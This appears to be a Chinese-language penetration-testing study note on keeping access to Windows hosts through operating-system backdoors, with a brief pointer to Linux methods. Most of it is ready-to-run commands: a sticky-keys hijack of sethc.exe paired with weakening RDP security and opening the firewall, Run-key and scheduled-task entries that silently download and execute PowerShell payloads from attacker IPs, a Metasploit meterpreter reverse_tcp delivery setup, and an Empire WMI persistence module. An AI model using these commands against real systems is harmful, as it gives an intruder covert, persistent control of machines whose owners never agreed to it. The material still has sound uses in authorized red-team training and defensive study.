内网安全学习笔记-Ⅶ:权限维持之操作系统后门

攻击者在提升权限后,通常会简历后门来维持对目标主机的控制权。

Windows:

粘滞键后门/映像劫持shift后门

参考链接:https://blog.csdn.net/fageweiketang/article/details/88317656

在Windows连续按5下shift键就可以调出粘滞键。旧方法粘滞键后门的原理是将sethc.exe程序替换成后门程序,但该方法只适用于winvista系统及以下,其它系统修改 sethc 会提示需要 trustedinstaller 权限。

新方法设置粘滞键后门是通过注册表来实现,思路就是通过修改注册表的映像劫持和打开其远程桌面来实现。映像劫持简单理解就是当自己打开程序 a 的时候,实际上是打开的程序 b。

设置映像劫持较简单,只需要在注册表的 HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options 位置添加被劫持的程序然后简单设置一下即可,我们通过命令行执行以下程序:

1
2
3
4
5
6
7
8
9
10
# 命令说明:reg add 是向注册表添加记录,后面跟的是注册表的位置,这里需要注意的是 HKLM 实际上是 HKEY_LOCAL_MACHINE 的缩写。Image File Execution Option 这个目录就是用来设置镜像劫持的,要被劫持的就是命令中的 sethc 粘滞键程序,随后通过 / v 来指定键名,这个键名 debugger 是固定的,然后通过 / t 来指定类型,即 REG_SZ 字符串类型,最后通过 / d 来指定键的值,即被恶意替换的程序,也就是我们的 cmd
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
# 设置完镜像劫持后就已经有了我们旧方法中直接替换 sethc 程序的效果,但我们为了方便利用,可以开启目标机的远程桌面,这里我们也通过注册表来设置一下,需要设置两个参数。第一个是把远程桌面链接的用户鉴定选项设置为关闭状态,即值为 0,命令行运行以下命令:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 第二个是把远程桌面连接的安全层设置为 0,命令行运行以下命令
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
# 开启远程桌面连接,首先是配置一下防火墙,设置为允许远程桌面连接,运行以下命令
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 设置后,我们再通过注册表来设置一下允许远程桌面连接,命令行运行以下命令:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /D 0 /f

image-20210221142332235

至此,我们的粘滞键后门就已经完成了,远程桌面连接输入 ip 就会直接跳到目标锁屏页,如果用户没有设置密码则可以直接登录,如果有密码而又不知道密码的情况下,则可以用 shift 调出命令行来执行一些操作。

影子用户后门

参考之前的总结:权限维持:Windows命令行下通过修改注册表创建隐藏帐号

注册表自启动后门

1
2
3
4
5
6
7
# 示例:添加cmd.exe自启动
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "test" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# 示例:一键无文件自启动
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
# 注意如果没有权限要先加权
echo HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [1 8 17] >regini.ini
regini regini.ini

计划任务后门

参考:https://zhuanlan.zhihu.com/p/98199824

Metasploit 的web_delivery模块可用于托管和生成各种格式的有效载荷

1
2
3
4
5
6
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.80
set LPORT 5555
set target 5
exploit

schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以SYSTEM的形式下载并执行基于PowerShell的有效负载。

1
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.111.80:8080/ZPWLywg'''))'" /sc onlogon /ru System

WMI后门

WMI后门使用了WMI的两个特征:无文件和无进程(需要管理员权限运行)。

原理:将代码加密存储与WMI中,即无文件;调用PowerShell执行后门程序,执行后进程消失,即无进程。

在Empire中使用Invoke-WMI模块

1
usemodule powershell/persistence/elevated/wmi	#设置参数run

其它后门方法可参考:windows中常见后门持久化方法总结

Linux:

关于Linux的后门权限维持,一般有添加超级用户、SSH免密登录、Crontab定时任务反弹shell、PAM后门、Rootkit工具包等方法 可参考:https://wiki.wgpsec.org/knowledge/hw/os-backdoor.html#linux和https://bypass007.github.io/Emergency-Response-Notes/privilege/%E7%AC%AC4%E7%AF%87%EF%BC%9ALinux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81--%E5%90%8E%E9%97%A8%E7%AF%87.html